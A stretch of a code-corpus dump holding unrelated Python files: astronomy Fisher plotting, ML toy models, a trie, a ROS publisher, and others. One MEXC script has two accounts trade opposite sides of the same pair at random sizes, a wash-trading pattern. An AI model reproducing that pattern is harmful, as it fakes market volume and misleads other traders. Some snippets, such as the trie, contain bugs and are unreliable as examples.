self.axes_dict['borders_width']\n\n @property\n def axes_lines_width(self):\n return self.axes_dict['lines_width']\n\n @property\n def ticks_width(self):\n return self.axes_dict['ticks']['width']\n\n @property\n def ticks_length(self):\n return self.axes_dict['ticks']['length']\n\n @property\n def ticks_label_size(self):\n return self.axes_dict['ticks']['label_size']\n\n @property\n def ticks_label_num_digits(self):\n return self.axes_dict['ticks']['digits']\n\n @property\n def ticks_number(self):\n return self.axes_dict['ticks']['number']\n\n @property\n def x_tick_labels_rot(self):\n return self.axes_dict['ticks']['x_tick_labels_rot']\n\n @property\n def y_tick_labels_rot(self):\n return self.axes_dict['ticks']['y_tick_labels_rot']\n\n @property\n def legend_dict(self):\n return self.config_dict['legend']\n\n @property\n def legend_loc(self):\n return self.legend_dict['loc']\n\n @property\n def legend_bbox_to_anchor(self):\n return self.legend_dict['bbox_to_anchor']\n\n @property\n def legend_fontsize(self):\n return self.legend_dict['fontsize']\n\n @property\n def legend_title_fontsize(self):\n return self.legend_dict['title_fontsize']\n\n @property\n def text_box_dict(self):\n return self.config_dict[\"text_box\"]\n\n def loadFromConfigDict(self, config_dict: \"Dict\") -> \"None\":\n self.config_dict = config_dict\n self.setGraphicsProperties()\n\n def setGraphicsProperties(self) -> \"None\":\n self.gauss_cl_alpha_dict = {\n float(cl): alpha for cl, alpha in\n self.graphics_dict[\"cl_alpha_dict\"][\"gauss\"].items()\n }\n self.ellipse_cl_alpha_dict = {\n float(cl): alpha for cl, alpha in\n self.graphics_dict[\"cl_alpha_dict\"][\"ellipse\"].items()\n }\n\n self.cmap = matplotlib.cm.get_cmap(self.color_map_name)\n\n def loadParameterPlotRangesFromFile(self, ranges_file: \"Union[str, Path]\") -> \"None\":\n with open(ranges_file, 'r') as jsf:\n ranges_dict = json.load(jsf)\n self.plot_ranges = ranges_dict\n\n def getTeXName(self, name: \"str\", use_aliases=False) -> \"str\":\n return self.tex_transl.translateToTeX(name, use_aliases=use_aliases)\n\n\nclass FisherPlotter:\n analysis: \"FisherAnalysis\"\n figure: \"plt.Figure\"\n axes: \"np.ndarray\"\n config: \"FisherPlotConfig\"\n pars_to_plot: \"List[str]\"\n\n def __init__(self, pars_to_plot: \"Iterable[str]\" = None, config: \"FisherPlotConfig\" = None,\n fisher_analysis: \"FisherAnalysis\" = None):\n self.analysis = fisher_analysis\n self.config = config\n self.pars_to_plot = pars_to_plot\n self.figure = None\n self.axes = None\n self.translator = txu.TeXTranslator()\n self._colors_arr = None\n self.params_ticks_fmts = {}\n\n @property\n def fisher_matrices(self) -> \"Dict[str, FisherMatrix]\":\n return self.analysis.fisher_matrices\n\n @property\n def fishers_order(self) -> \"List[str]\":\n return self.analysis.fishers_order\n\n @property\n def n_cosmo_pars(self) -> \"int\":\n return len(self.pars_to_plot)\n\n @property\n def plot_ranges(self) -> \"Dict[str, Tuple[float, float]]\":\n return self.config.plot_ranges\n \n @plot_ranges.setter\n def plot_ranges(self, value) -> None:\n self.config.plot_ranges = value\n\n def setUpDefault(self) -> \"None\":\n self.setParamsToPlot(pars_to_plot='all')\n self.setPlotConfig(use_default=True)\n self.setParametersPlotRanges()\n\n def setParamsToPlot(self, pars_to_plot: \"Union[str, Iterable[str]]\" = 'all'):\n logger.info(\"Setting parameters to plot\")\n if self.analysis is None:\n raise TypeError(\"Cannot set params without Fisher analysis\")\n if pars_to_plot == 'all':\n self.pars_to_plot = sorted(list(self.analysis.cosmo_pars_fiducials.keys()))\n else:\n self.pars_to_plot = list(pars_to_plot)\n\n logger.info(f\"Plotting parameters: {', '.join(self.pars_to_plot)}\")\n\n def setParametersPlotRanges(self, ranges_file: \"Union[str, Path]\" = None) -> \"None\":\n logger.info(\"Setting parameters plot ranges\")\n self.config.plot_ranges = {}\n if ranges_file is not None:\n ranges_file = Path(ranges_file)\n if not ranges_file.exists():\n raise FileNotFoundError(ranges_file)\n logger.info(f\"Loading ranges from {ranges_file}\")\n with open(ranges_file, 'r') as jsf:\n self.config.plot_ranges = json.load(jsf)\n else:\n logger.info(f\"Computing plot ranges on the fly\")\n for name in self.pars_to_plot:\n self.config.plot_ranges[name] = self.computePlotRangeForParameter(name)\n\n def setPlotConfig(self, config_file: \"Union[str, Path]\" = None, use_default=False,\n config_dict: \"Dict\" = None) -> \"None\":\n logger.info(\"Setting plot configuration\")\n if use_default:\n config_file = fsu.config_files_dir() / 'results_config.json'\n logger.info(f\"Using default config {config_file}\")\n else:\n if config_file is None:\n raise ValueError('config file path needed when not using default. If you want to use '\n 'the default one, call this function as \"setPlotConfig(use_default=True)\"')\n\n self.config = FisherPlotConfig(n_cosmo_pars=self.n_cosmo_pars, config_file=config_file)\n if config_dict is not None:\n self.config.config_dict.update(config_dict)\n\n self.params_ticks_fmts = {name: f\"%.{self.config.ticks_label_num_digits}g\" for name in self.pars_to_plot}\n\n def getColorForFisher(self, name: \"str\"):\n idx = self.fishers_order.index(name)\n if self._colors_arr is None:\n self._colors_arr = np.linspace(0, 1, len(self.fishers_order), endpoint=True)\n\n return self.config.cmap(self._colors_arr[idx])\n\n def makeTriangularPlot(self, outdir: \"Union[str, Path]\" = None, order: \"List[str]\" = None, legend=True):\n plt.rcParams['text.usetex'] = self.config.use_tex\n fig, axes = plt.subplots(nrows=self.n_cosmo_pars, ncols=self.n_cosmo_pars, dpi=self.config.dpi,\n figsize=(self.config.fig_size_x_inches, self.config.fig_size_y_inches),\n sharex=False, sharey=False)\n\n self.figure = fig\n self.axes = axes\n self.figure.subplots_adjust(hspace=self.config.horizontal_spacing,\n wspace=self.config.vertical_spacing)\n\n self.drawContours(order=order)\n\n if legend:\n self.addPlotLegend(order=order)\n self.setFigureTitle()\n if outdir is not None:\n outfile_name = f'contour_{self.analysis.name}.pdf'\n self.figure.savefig(Path(outdir) / outfile_name)\n plt.close(self.figure)\n\n return self.figure, self.axes\n\n def drawContours(self, order: \"List[str]\" = None):\n if order is None:\n order = self.fishers_order\n for i in range(self.axes.shape[0]):\n for j in range(self.axes.shape[1]):\n name_x, name_y = self.pars_to_plot[j], self.pars_to_plot[i]\n if i < j:\n self.axes[i, j].axis('off')\n elif i == j:\n name = self.pars_to_plot[i]\n for obs in order:\n self.drawGaussianForParameterAndObs(name, obs, self.axes[i, i])\n elif i > j:\n for obs in order:\n self.drawEllipsesForParametersAndObs(name_x, name_y, obs, self.axes[i, j])\n self.setPlotProperties(i, j)\n\n def makeAllCorrelationPlots(self, outdir: \"Union[str, Path]\" = None, close_fig: \"bool\" = True) -> \"None\":\n for name, correlation_matrix in self.analysis.correlation_matrices.items():\n fig, ax = self.makeSingleCorrelationPlot(name, correlation_matrix)\n if outdir is not None:\n outfile_name = f'correlation_{self.analysis.name}_{name}.pdf'\n outfile_path = Path(outdir) / outfile_name\n fig.savefig(outfile_path)\n if close_fig:\n plt.close(fig)\n\n def makeSingleCorrelationPlot(self, name: \"str\") -> \"Tuple[plt.Figure, plt.Axes]\":\n fig = plt.figure(figsize=(6.0, 6.0), dpi=150)\n corr = self.fisher_matrices[name].correlation\n\n ax = plot_utils.heatmap(corr, usetex=True, vmin=-1.0, vmax=1.0,\n cmap='bwr', alpha=0.9, square=True, cbar_kws={'shrink': 0.825})\n\n ax.set_title(rf'${self.translator.ProbeNameToTeX(name)}$')\n\n return fig, ax\n\n def setPlotProperties(self, i: int, j: \"int\") -> \"None\":\n self.setPlotTicks(i, j)\n self.setPlotAxesLabels(i, j)\n self.setPlotRange(i, j)\n for side in self.axes[i, j].spines.keys():\n self.axes[i, j].spines[side].set_linewidth(self.config.axes_borders_width)\n\n def setPlotAxesLabels(self, i: \"int\", j: \"int\") -> \"None\":\n name_x, name_y = self.pars_to_plot[j], self.pars_to_plot[i]\n if i == j:\n self.axes[i, i].set_yticks([0.0, 1.0])\n self.axes[i, i].yaxis.tick_right()\n self.axes[i, i].set_ylabel(r'$P/P_{\\rm max}$', fontsize=self.config.axes_label_size)\n self.axes[i, i].yaxis.set_label_position('right')\n if i == self.axes.shape[0] - 1:\n self.axes[i, j].set_xlabel(rf'${self.translator.CosmoParNameToTeX(name_x)}$',\n labelpad=self.config.axes_x_label_pad,\n fontsize=self.config.axes_label_size)\n if j == 0 and i > 0:\n self.axes[i, j].set_ylabel(rf'${self.translator.CosmoParNameToTeX(name_y)}$', ha='center', va='center',\n labelpad=self.config.axes_y_label_pad, rotation=0,\n fontsize=self.config.axes_label_size)\n\n def setPlotTicks(self, i: \"int\", j: \"int\") -> \"None\":\n self.setXTicks(i, j)\n self.setYTicks(i, j)\n\n label_bottom = i == self.axes.shape[0] - 1\n label_left = (j == 0 and i > 0)\n self.axes[i, j].tick_params(labelsize=self.config.ticks_label_size,\n width=self.config.ticks_width, length=self.config.ticks_length,\n labelleft=label_left, labelbottom=label_bottom)\n\n def setXTicks(self, i: \"int\", j: \"int\"):\n name_x = self.pars_to_plot[j]\n ticks_number = int(self.config.ticks_number)\n num_digits = self.config.ticks_label_num_digits\n x_min, x_max = self.plot_ranges[name_x]\n x_ticks = np.linspace(x_min, x_max, num=ticks_number, endpoint=True)\n self.axes[i, j].set_xticks(x_ticks)\n self.axes[i, j].xaxis.set_major_formatter(ticker.FormatStrFormatter(self.params_ticks_fmts[name_x]))\n x_tick_labels = self.axes[i, j].xaxis.get_ticklabels()\n # global properties\n for x_tick_label in x_tick_labels:\n x_tick_label.set_rotation(self.config.x_tick_labels_rot)\n # borders and bulk\n x_tick_labels[0].set_horizontalalignment('left')\n x_tick_labels[-1].set_horizontalalignment('right')\n \"\"\"\n for x_tick_label in x_tick_labels[1:-1]:\n x_tick_label.set_horizontalalignment('center')\n \"\"\"\n\n def setYTicks(self, i: \"int\", j: \"int\"):\n name_y = self.pars_to_plot[i]\n ticks_number = int(self.config.ticks_number)\n num_digits = self.config.ticks_label_num_digits\n if i == j:\n self.axes[i, i].set_yticks([0.0, 1.0])\n self.axes[i, i].yaxis.tick_right()\n else:\n y_min, y_max = self.plot_ranges[name_y]\n y_ticks = np.linspace(y_min, y_max, num=ticks_number, endpoint=True)\n self.axes[i, j].yaxis.set_major_formatter(ticker.FormatStrFormatter(self.params_ticks_fmts[name_y]))\n self.axes[i, j].set_yticks(y_ticks)\n y_tick_labels = self.axes[i, j].yaxis.get_ticklabels()\n # global properties\n for y_tick_label in y_tick_labels:\n y_tick_label.set_rotation(self.config.y_tick_labels_rot)\n # borders and bulk\n y_tick_labels[0].set_verticalalignment('bottom')\n y_tick_labels[-1].set_verticalalignment('top')\n \"\"\"\n for y_tick_label in y_tick_labels[1:-1]:\n y_tick_label.set_verticalalignment('center')\n \"\"\"\n\n def setPlotRange(self, i: int, j: \"int\") -> \"None\":\n name_x = self.pars_to_plot[j]\n name_y = self.pars_to_plot[i]\n self.axes[i, j].set_xlim(self.plot_ranges[name_x])\n if i != j:\n self.axes[i, j].set_ylim(self.plot_ranges[name_y])\n\n def getLegendPatch(self, name: \"str\") -> \"Patch\":\n tex_label = rf\"${self.config.getTeXName(name)}$\"\n color = self.getColorForFisher(name)\n\n return Patch(color=color, label=tex_label)\n\n def addPlotLegend(self, order: \"List[str]\" = None, add_handles: \"List\" = None, **kwargs) -> \"None\":\n legend_order = order if order is not None else self.fishers_order\n legend_handles = [self.getLegendPatch(name) for name in legend_order]\n if isinstance(add_handles, list):\n legend_handles = add_handles + legend_handles\n kwds = dict(fontsize=self.config.legend_fontsize, loc=self.config.legend_loc,\n title=self.analysis.name,\n title_fontsize=self.config.legend_title_fontsize,\n bbox_to_anchor=self.config.legend_bbox_to_anchor,\n bbox_transform=self.figure.transFigure)\n kwds.update(kwargs)\n\n self.figure.legend(handles=legend_handles, **kwds)\n\n def addInfoTextBox(self, text: \"str\", x=None, y=None, **kwargs):\n x_leg, y_leg = self.config.legend_bbox_to_anchor\n if x is None:\n x = x_leg + float(self.config.text_box_dict[\"dx_leg\"])\n if y is None:\n y = y_leg + float(self.config.text_box_dict[\"dy_leg\"])\n\n kwds = {\n 'fontsize': self.config.legend_fontsize,\n 'transform': self.figure.transFigure\n }\n kwds.update(kwargs)\n\n plot_utils.misc.add_text_box(pl_obj=self.figure, x=x, y=y, text=text, **kwargs)\n\n def setFigureTitle(self) -> \"None\":\n pass\n\n def writeParameterPlotRangesToFile(self, outfile: \"Union[str, Path]\", overwrite=False) -> \"None\":\n outfile = Path(outfile)\n if outfile.exists():\n if overwrite:\n with open(outfile, 'w') as jsf:\n json.dump(self.plot_ranges, jsf, indent=2)\n else:\n logger.info(f'file {outfile} already exists, not overwriting it')\n else:\n with open(outfile, 'w') as jsf:\n json.dump(self.plot_ranges, jsf, indent=2)\n\n def computePlotRangeForParameter(self, name: \"str\") -> \"Tuple[float, float]\":\n lower_bounds = []\n upper_bounds = []\n for obs in self.fishers_order:\n x_min, x_max = self.analysis.computeParameterRangeForObsAtCL(name, obs, 0.99)\n lower_bounds.append(x_min)\n upper_bounds.append(x_max)\n lower_bounds = np.array(lower_bounds)\n upper_bounds = np.array(upper_bounds)\n\n return lower_bounds.mean(), upper_bounds.mean()\n\n def drawGaussianForParameterAndObs(self, name: \"str\", fisher_name: \"str\", ax: \"plt.Axes\") -> \"None\":\n for CL, alpha in self.config.gauss_cl_alpha_dict.items():\n x_min = self.plot_ranges[name][0]\n x_max = self.plot_ranges[name][1]\n gaus_dict = self.analysis.computeGaussianInfoDictForObsAndCL(name, fisher_name, CL, x_min, x_max)\n color = self.getColorForFisher(fisher_name)\n\n ax.plot(gaus_dict['x'], gaus_dict['y'], color=color, linewidth=self.config.axes_lines_width)\n ax.fill_between(gaus_dict['x'], gaus_dict['y'], where=gaus_dict['cl_mask'], linewidth=0.0,\n color=color, alpha=alpha)\n\n def drawEllipsesForParametersAndObs(self, name_x: \"str\", name_y: \"str\", fisher_name: \"str\",\n ax: \"plt.Axes\") -> \"None\":\n for CL, alpha in self.config.ellipse_cl_alpha_dict.items():\n color = self.getColorForFisher(fisher_name)\n ellipse_info_dict = self.analysis.computeEllipseInfoDictForObsAndCL(name_x, name_y, fisher_name, CL)\n\n fill_ellipse_kwds = ellipse_info_dict.copy()\n fill_ellipse_kwds.update(dict(facecolor=color, edgecolor=color, fill=True, alpha=alpha, linewidth=0.0))\n\n cont_ellipse_kwds = ellipse_info_dict.copy()\n cont_ellipse_kwds.update(dict(facecolor=color, edgecolor=color, fill=False,\n linewidth=self.config.axes_lines_width))\n\n ax.add_artist(Ellipse(**fill_ellipse_kwds))\n ax.add_artist(Ellipse(**cont_ellipse_kwds))\n","repo_name":"LucaPaganin/SEYFERT","sub_path":"seyfert/fisher/fisher_plot.py","file_name":"fisher_plot.py","file_ext":"py","file_size_in_byte":20061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28204236901","text":"# Test numerical derivatives.\n#\n# deriv_spl: Test correctness of results for the case where we use (x,y)\n# as input. Note the low \"decimal\" values for\n# testing.assert_array_almost_equal:\n# n=1: 4\n# n=2: 2\n# You see that the derivatives are not very accurate, using the default spline\n# parameters (order, smoothing)! However, plotting y - yd reveals that the\n# errors are only big near the x-range edges x[0] and x[-1], not in between, so\n# it is safe to use the derivatitves after testing for further calculations.\n\nimport numpy as np\nfrom pwtools import num\nasrt = np.testing.assert_array_almost_equal\n\ndef test_deriv():\n x = np.linspace(0,10,100)\n y = np.sin(x)\n for n, func, decimal in [(1, np.cos, 4), (2, lambda x: -np.sin(x), 2)]:\n print(n, func)\n xd, yd = num.deriv_spl(y, n=n, fullout=True)\n assert [len(xd), len(yd)] == [len(x)]*2\n xd, yd = num.deriv_spl(y, x, n=n, fullout=True)\n asrt(func(xd), yd, decimal=decimal)\n assert [len(xd), len(yd)] == [len(x)]*2\n\n","repo_name":"elcorto/pwtools","sub_path":"test/test_deriv.py","file_name":"test_deriv.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"48"} +{"seq_id":"23109021901","text":"import keras\n\nfrom keras import Sequential\nfrom keras.layers import ZeroPadding2D, Conv2D, BatchNormalization, UpSampling2D, Activation, Lambda\nfrom keras.losses import mean_squared_error\n\n\ndef init_model():\n model: Sequential = Sequential()\n\n def i(x):\n return x\n\n model.add(Lambda(i, input_shape=(64, 64, 1)))\n\n # resolution stays equal with:\n # * zero padding of (1,1)\n # * kernel_size=3, stride=(1,1)\n #\n # resolution can be then 1/2 with stride=(2,2), or 1/3 by stride=(3,3), ect\n # e.g 64x64 becomes 32*32 with stride=(2,2) and 22*22 with stride=(3,3)\n model.add(ZeroPadding2D())\n model.add(Conv2D(filters=8, kernel_size=3, strides=(1, 1)))\n\n model.add(ZeroPadding2D())\n model.add(Conv2D(filters=200, kernel_size=3, strides=(1, 1)))\n\n model.add(UpSampling2D())\n model.add(ZeroPadding2D())\n model.add(Conv2D(filters=200, kernel_size=3, strides=(1, 1)))\n\n model.compile(optimizer=\"adam\", loss=mean_squared_error)\n\n return model\n\n\ndef main():\n model = init_model()\n model.summary()\n\n idf = keras.backend.image_data_format()\n print(idf)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"nikvaessen/recolor-tiny-imagenet","sub_path":"playground/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"26522680242","text":"\"\"\"\nA Simple Network Architecture only Using Dense Layer\nAuthors: TamNV\n====================================================\n\"\"\"\nimport tensorflow as tf\nfrom layers.layer import Dense\n\ndef lrelu(x):\n\t\"\"\"\n\tPerform Leak ReLU\n\t\"\"\"\n\treturn tf.maximum(x*0.2, x)\n\ndef linear(x):\n\t\"\"\"\n\tPerform Liear Function\n\t\"\"\"\n\treturn x\n\nclass TSDV1:\n\t\"\"\"\n\tDeclare a fisrt version using only fully connected layers \n\t\"\"\"\n\tdef __init__(self, in_dims, out_dims, name):\n\t\t\"\"\"\n\t\tInitial Method\n\t\tParams:\t+ in_dims: Integer\n\t\tParams: + out_dims: Integer\t\n\t\tParams: + name: String\n\t\t\"\"\"\n\t\tself._name = name\n\t\tself._in_dims = in_dims\n\t\tself._out_dims = out_dims\n\t\tself._outputs = None\n\n\t\tself.create_network()\n\n\tdef create_network(self):\n\t\t\"\"\"\n\t\tCreate Deep Learning Network\n\t\t\"\"\"\n\n\t\tlayer1 = Dense(input_dim=self._in_dims,\n\t\t\t\t\toutput_dim=64,\n\t\t\t\t\tact=lrelu,\n\t\t\t\t\tbias=True)\n\t\t\t\n\t\tlayer2 = Dense(input_dim=64,\n\t\t\t\t\toutput_dim=64,\n\t\t\t\t\tact=lrelu,\n\t\t\t\t\tbias=True)\n\t\t\n\t\tlayer3 = Dense(input_dim=64,\n\t\t\t\t\toutput_dim=64,\n\t\t\t\t\tact=lrelu,\n\t\t\t\t\tbias=True)\n\n\t\tlayer4 = Dense(input_dim=64,\n\t\t\t\t\toutput_dim=self._out_dims,\n\t\t\t\t\tact=linear,\n\t\t\t\t\tbias=True)\n\n\t\tself._layers = [layer1, layer2, layer3, layer4]\n\t\t# Get Trainble Variable\n\t\tself._train_vars = []\n\t\tfor layer in self._layers:\n\t\t\tfor key in layer._vars.keys():\n\t\t\t\tself._train_vars.append(layer._vars[key])\n\n\tdef __call__(self, inputs):\n\t\t\"\"\"\n\t\tPerform layer's function\n\n\t\tParams:\n\t\t\tinputs: Tensorflow instance\n\t\tReturns:\n\t\t\toutputs: Tensorflow instance\n\t\t\"\"\"\n\t\twith tf.name_scope(self._name):\n\t\t\toutputs = self._call(inputs)\n\t\t\treturn outputs\n\n\tdef _call(self, inputs):\n\t\t\"\"\"\n\t\tPerform Inference Phase\n\t\t+ Params: inputs: Tensor Object\n\t\t+ Returns: outputs: Tensor Object\n\t\t\"\"\"\n\n\t\tx = inputs\n\t\tfor layer in self._layers:\n\t\t\tx = layer(x)\n\t\toutputs = x\n\t\t\n\t\treturn outputs\n","repo_name":"TamNguyenVanTam/ReinforcementLearning","sub_path":"source/models/backbones/backbonev1.py","file_name":"backbonev1.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39149187936","text":"import random\nfrom mexc_sdk.src.mexc_sdk import Spot\n\n\nprice = 0\nsymbol = \"BTCUSDT\"\naccounts = [\n {\n 'access': '*',\n 'private': '*',\n 'side': 'BUY',\n 'order_type': 'MARKET'\n },\n {\n 'access': '*',\n 'private': '*',\n 'side': 'SELL',\n 'order_type': 'MARKET'\n }\n]\n\nwhile True:\n client = Spot(api_key=accounts[0]['access'], api_secret=accounts[0]['private'])\n if len(client.trades(symbol=symbol, options={\"limit\": 5})) > 0:\n price = float(client.trades(symbol=symbol, options={\"limit\": 5})[0]['price'])\n quantity = random.randint(50, 50000)\n for account in accounts:\n client = Spot(api_key=account['access'], api_secret=account['private'])\n res = client.new_order_test(symbol=symbol, side=account['side'], order_type=account['order_type'], options={\"quantity\": quantity, \"price\": price})\n","repo_name":"dogukanatakul/mexc-market-trader","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73087427666","text":"'''\ntrie(트라이): 여러개의 문자열을 기존 입력을 기반으로 빠르게 탐색하기 위한 트리구조의 자료구조( 메모리를 많이먹는대신 O(log(N)로탐색속도가 매우빠르다. )\n데이터 접근 편의를 위해 각 노드와 자식 노드관계는 해시맵을 사용한다.\n'''\nclass Pumkp_trie: \n def __init__(self,words): \n self.set_trie(words)\n #words: [[a,c],[b,a],[c,e],[e,d]]\n def set_trie(self,words:iter[iter]):\n self.trie = dict()\n for word in words:\n current_dict = self.trie\n for node in word:\n current_dict[node] = {}\n #word: [a,c]\n def triepush(self,word):\n if not self.trie:\n self.set_trie(word)\n return\n current = self.trie\n for c in word:\n if not c in current: current[c] = {}\n current = current[c]\n \n def find(self,word):\n if not self.trie: return False\n current = self.trie\n for c in word:\n if c in current: current = current[c]\n else: return False\n return True\n\n def get(self): \n return self.trie\n","repo_name":"cong2738/PumpK","sub_path":"알고리즘/trie.py","file_name":"trie.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35455581215","text":"from sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.model_selection import GridSearchCV\nfrom src.logger import log\nfrom sklearn.metrics import accuracy_score\n\n\n\nclass modelling:\n def __init__(self):\n self.random=RandomForestClassifier()\n self.gradient=GradientBoostingClassifier()\n self.log=log()\n self.file_object=open('src/logs/training_logs/model_logs.txt','a+')\n\n\n def model_fine_tuning_random_forest(self,x_train,y_train):\n self.log.log(self.file_object,\"model fine tuning for random forest started\")\n try:\n random_params = {\n 'n_estimators':[i for i in range(10,500,50)],\n 'max_depth':[i for i in range(2,20,2)],\n 'min_samples_split':[i for i in range(2,20,2)],\n 'min_samples_leaf':[i for i in range(2,10,2)],\n 'max_features':[\"sqrt\",\"log2\"]\n }\n random_grid=GridSearchCV(estimator=self.random,param_grid=random_params,cv=5,verbose=3)\n random_grid.fit(x_train,y_train)\n\n n_estimators=random_grid.best_params_['n_estimators']\n max_depth=random_grid.best_params_['max_depth']\n min_samples_split=random_grid.best_params_['min_samples_split']\n min_samples_leaf=random_grid.best_params_['min_samples_leaf']\n max_features=random_grid.best_params_['max_features']\n\n best_random=RandomForestClassifier(n_estimators=n_estimators,max_depth=max_depth,min_samples_split=min_samples_split,min_samples_leaf=min_samples_leaf,max_features=max_features)\n self.log.log(self.file_object, \"best param for random fores are\" +\"\\t\"+\"max_depth : %s\"%max_depth+\"\\t\"+\"n_estimators : %s\"%n_estimators+\"\\t\"+\"min_samples_split : %s\"%min_samples_split+\"\\t\"+\"min_samples_leaf : %s\"%min_samples_leaf+\"\\t\"+\"max_features : %s\"%max_features)\n self.log.log(self.file_object, \"model fine tuning for random forest successful best parameters extracted\")\n return best_random\n\n except Exception as e:\n self.log.log(self.file_object, \"error in model fine tuning for random forest %s\"%e)\n self.log.log(self.file_object, \"model fine tuning for random forest is unsuccessful\")\n raise e\n\n\n def best_model_selection(self,x_train,y_train,x_test,y_test):\n self.log.log(self.file_object,\"best model selection operation started\")\n try:\n rf=self.model_fine_tuning_random_forest(x_train,y_train)\n rf.fit(x_train,y_train)\n rf_pred=rf.predict(x_test)\n rf_accuracy=accuracy_score(y_test,rf_pred)\n\n\n gb= GradientBoostingClassifier()\n gb.fit(x_train, y_train)\n gb_pred = gb.predict(x_test)\n gb_accuracy = accuracy_score(y_test, gb_pred)\n print(rf_accuracy,gb_accuracy)\n\n if rf_accuracy>gb_accuracy:\n self.log.log(self.file_object, \"best model selected is random forest\")\n return \"Random Forest\",rf\n elif rf_accuracy= named_kw_start_at:\n # we are in the named keyword arguments, grab the default\n # the func_spec.defaults tuple 0 index is the first named\n # argument, so need to offset the arg_i counter\n default_index = arg_i - named_kw_start_at\n arg_value = func_spec.defaults[default_index]\n else:\n raise AttributeError(f\"could not file {arg}\")\n\n arg_value = self._check_and_run(arg_value, ds=ds)\n the_args.append(arg_value)\n\n # if this class has a list of known kwargs that we know will not be\n # picked up by argspec, add them here. Not using inspect here because\n # some of the yt visualization classes pass along kwargs, so we need\n # to do this semi-manually for some classes and functions.\n kwarg_dict = {}\n if getattr(pydantic_instance, \"_known_kwargs\", None):\n for kw in pydantic_instance._known_kwargs:\n arg_value = getattr(pydantic_instance, kw, None)\n arg_value = self._check_and_run(arg_value, ds=ds)\n kwarg_dict[kw] = arg_value\n\n return yt_func(*the_args, **kwarg_dict)\n\n\nclass Visualizations(YTRunner):\n\n def _sanitize_viz(self, yt_viz):\n # if objects contain references to a ds, that might be problematic when\n # loading and executing a single ds at a time?\n return yt_viz\n\n def process_pydantic(self, pydantic_instance: analysis_schema.data_classes.Visualizations, ds=None):\n generic_runner = YTGeneric()\n viz_results = {}\n for attr in pydantic_instance.__fields__.keys():\n viz_model = getattr(pydantic_instance, attr) # SlicePlot, etc.\n if viz_model is not None:\n result = generic_runner.run(viz_model, ds=ds)\n nme = f\"{ds.basename}_{attr}\"\n viz_results[nme] = self._sanitize_viz(result)\n return viz_results\n\n\nclass RunnerRegistry:\n\n def __init__(self):\n self._registry = {}\n\n def register(self, pydantic_class, runner):\n if isinstance(runner, YTRunner) is False:\n raise ValueError(\"the runner must be a YTRunner instance\")\n self._registry[pydantic_class] = runner\n\n def get(self, pydantic_class_instance):\n pyd_type = type(pydantic_class_instance)\n if pyd_type in self._registry:\n return self._registry[pyd_type]\n return YTGeneric()\n\n\ndef _is_yt_schema_instance(obj):\n is_model = isinstance(obj, analysis_schema.base_model.ytBaseModel)\n is_param = isinstance(obj, analysis_schema.base_model.ytParameter)\n is_viz = isinstance(obj, analysis_schema.data_classes.Visualizations)\n return is_param or is_model or is_viz\n\n\nyt_registry = RunnerRegistry()\nyt_registry.register(analysis_schema.data_classes.FieldNames, FieldNames())\nyt_registry.register(analysis_schema.data_classes.Visualizations, Visualizations())\nyt_registry.register(analysis_schema.data_classes.Dataset, Dataset())\nyt_registry.register(analysis_schema.data_classes.DataSource3D, DataSource3D())\n","repo_name":"chrishavlin/schema_runner_experiment","sub_path":"schema_runner/model_instantiation.py","file_name":"model_instantiation.py","file_ext":"py","file_size_in_byte":7455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30626816012","text":"import rospy\nfrom std_msgs.msg import *\nfrom geometry_msgs.msg import *\nfrom time import sleep\nfrom random import uniform\n\n\ndef create_pose():\n p = Pose()\n p.position.x = uniform(-5, 5)\n p.position.y = uniform(-5, 5)\n p.position.z = uniform(-5, 5)\n p.orientation.x = uniform(-5, 5)\n p.orientation.y = uniform(-5, 5)\n p.orientation.z = uniform(-5, 5)\n p.orientation.w = uniform(-5, 5)\n return p\n\n\ndef create_twist_stamped():\n t = TwistStamped()\n t.header.stamp = rospy.Time.now()\n t.twist.linear.x = uniform(-1, 1)\n t.twist.linear.y = uniform(-1, 1)\n t.twist.linear.z = uniform(-1, 1)\n t.twist.angular.x = uniform(-1, 1)\n t.twist.angular.y = uniform(-1, 1)\n t.twist.angular.z = uniform(-1, 1)\n return t\n\n\ndef talker():\n publish_pose = rospy.Publisher(\n 'ChatterPose', Pose, queue_size=10,\n )\n publish_twist_stamped = rospy.Publisher(\n 'ChatterTwistStamped', TwistStamped, queue_size=10,\n )\n rospy.init_node('talker', anonymous=True)\n\n while not rospy.is_shutdown():\n publish_pose.publish(create_pose())\n publish_twist_stamped.publish(create_twist_stamped())\n sleep(1)\n\n\nif __name__ == '__main__':\n try:\n talker()\n except rospy.ROSInterruptException:\n rospy.loginfo(\"rospy.ROSInterruptException\")\n exit(1)\n","repo_name":"xgds/mvp","sub_path":"ros_interface_tests/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38107980314","text":"# -*- coding: utf-8 -*-\n\nimport glob # 返回一个包含有匹配文件/目录的数组\nimport os.path\nimport random\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.python.platform import gfile\n\n# inception-v3瓶颈层的节点个数\nBOTTLENECT_TENSOR_SIZE = 2048\n\n# 在谷歌提供的inception-v3模型中,瓶颈层结果的张量名称为'pool_3/_reshape:0'\n# 可以使用tensor.name来获取张量名称\nBOTTLENECT_TENSOR_NAME = 'pool_3/_reshape:0'\n\n# 图像输入张量所对应的名称\nJPEG_DATA_TENSOR_NAME = 'DecodeJpeg/contents:0'\n\n# 